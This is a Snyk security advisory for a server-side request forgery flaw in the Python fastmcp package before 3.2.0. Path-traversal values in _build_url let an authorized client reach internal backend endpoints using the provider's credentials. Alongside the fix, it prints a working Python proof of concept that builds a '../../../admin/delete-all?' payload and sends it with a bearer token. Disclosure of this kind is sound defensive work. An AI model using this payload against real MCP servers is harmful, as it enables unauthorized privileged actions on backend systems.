Server-side Request Forgery (SSRF) Affecting fastmcp package, versions [,3.2.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.27% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-FASTMCP-15871014
  • published1 Apr 2026
  • disclosed31 Mar 2026
  • creditPr00fOf3xpl0it, Jay Neiva

Introduced: 31 Mar 2026

NewCVE-2026-32871  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade fastmcp to version 3.2.0 or higher.

Overview

fastmcp is a The fast, Pythonic way to build MCP servers and clients.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the _build_url function. An attacker can access unauthorized internal backend endpoints and perform actions with elevated privileges by supplying crafted path parameter values containing traversal sequences such as ../, which are not properly URL-encoded and are resolved by the backend. This allows the attacker to bypass intended API restrictions and interact with sensitive endpoints using the provider's authentication context.

Note:

This is only exploitable if the attacker is an authorized client of the MCP server to trigger the OpenAPI operation.

PoC

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

CVSS Base Scores

version 4.0
version 3.1